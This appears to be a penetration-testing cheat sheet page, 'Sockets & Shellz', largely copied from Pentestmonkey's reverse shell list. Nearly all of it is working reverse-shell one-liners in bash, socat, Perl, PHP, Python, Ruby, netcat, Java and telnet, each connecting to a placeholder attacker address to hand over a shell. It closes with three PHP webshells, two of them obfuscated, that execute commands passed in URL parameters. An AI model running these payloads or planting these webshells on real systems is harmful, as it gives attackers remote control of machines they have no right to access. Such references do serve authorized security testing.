Hooper Labs

Sockets & Shellz

Ref

	Many copied from Pentestmonkey: Reverse Shell Cheat Sheet

socat

	 
  socat file:`tty`,raw,echo=0 tcp-listen:4444 (listener)
 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:4444 (client)

Bash

	bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Bash

	0<&196;exec 196<>/dev/tcp/<IP>/443; sh <&196 >&196 2>&196 

Perl

	perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

	php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Python

	python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ruby

	ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Ruby (non /bin/sh)

	ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Ruby (Windows)

	ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Netcat

	nc -e /bin/sh 10.0.0.1 1234

OpenBSD Netcat

	rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

	 
  r = Runtime.getRuntime()
  p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  p.waitFor()
 

Telnet

	rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p

Telnet

	telnet attackerip 4444 | /bin/bash | telnet attackerip 4445   # Remember to listen on your machine also on port 4445/tcp

Webshells

PHP (standard)

	<?php echo system($_GET['h00p']);?>

PHP (tiniest)

	<?=`{${~a0b8baab}[a0]}`;

PHP (conditional tiniest)

	<?`$_GET[_]`;